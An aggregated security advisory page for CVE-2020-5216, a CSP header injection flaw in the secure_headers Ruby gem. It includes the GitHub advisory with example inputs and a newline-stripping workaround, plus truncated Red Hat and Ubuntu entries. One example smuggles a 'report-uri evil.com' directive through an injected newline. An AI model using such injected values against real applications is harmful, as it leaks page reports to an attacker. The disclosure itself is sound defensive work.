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cnvd-2020-16644

EUVD-2026-36413

fkie_cve-2020-5216

In Secure Headers (RubyGem secure_headers), a directive injection vulnerability is present in versions before 3.9.0, 5.2.0, and 6.3.0. If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection. Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy header with the remaining value of the original string. It will continue to create new headers for each newline. This has been fixed in 6.3.0, 5.2.0, and 3.9.0.

GHSA-w978-rmpf-qmwg — Limited header injection when using dynamic overrides with user input in RubyGems secure_headers

Affected: RubyGems: secure_headers

### Impact

If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.

e.g.

```ruby override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` ```

would result in

``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: injected Content-Security-Policy: rest-of-the-header ```

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

```ruby override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) ``` ``` Content-Security-Policy: ... script-src: mycdn.com Content-Security-Policy: default-src 'none'; report-uri evil.com Content-Security-Policy: rest-of-the-header ```

### Patches

This has been fixed in 6.3.0, 5.2.0, and 3.9.0

### Workarounds

```ruby override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")]) ```

### References

https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c [The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)

### For more information

If you have any questions or…

gsd-2020-5216

RHSA-2020:4366 — Red Hat Security Advisory: Satellite 6.8 release

mysql-connector-java: Connector/J unspecified vulnerability (CPU October 2018) puppet-agent: Puppet Agent does not properly verify SSL connection when downloading a CRL rack-protection: Timing attack in authenticity_token.rb hibernate-validator: safeHTML validator allows XSS Django: Incorrect HTTP detection with reverse-proxy connecting via HTTPS rubygem-rack: hijack sessions by using timing attacks targeting the session id rubygem-secure_headers: limited header injection when using dynamic overrides with user input rubygem-secure_headers: directive injection when using dynamic overrides with user input rubygem-actionview: views that use the `j` or `escape_javascript` methods are susceptible to XSS attacks netty: HTTP Request Smuggling due to Transfer-Encoding whitespace mishandling rubygem-websocket-extensions: ReDoS vulnerability in Sec-WebSocket-Extensions parser puppet: Arbitrary catalog retrieval puppet: puppet server and puppetDB may leak sensitive information via metrics API rubygem-rack: directory traversal in Rack::Directory rubygem-rack: percent-encoded cookies can be used to overwrite existing prefixed cookie names jackson-databind: Lacks certain xbean-reflect/JNDI blocking jackson-databind: Serialization gadgets in shaded-hikari-config jackson-databind: Serialization gadgets in ibatis-sqlmap jackson-databind: Serialization gadgets in anteros-core hibernate-validator: Improper input validation in the interpolation of constraint error messages jackson-databind: Ser…

UBUNTU-CVE-2020-5216

Affected: Ubuntu:18.04:LTS: ruby-secure-headers, Ubuntu:20.04:LTS: ruby-secure-headers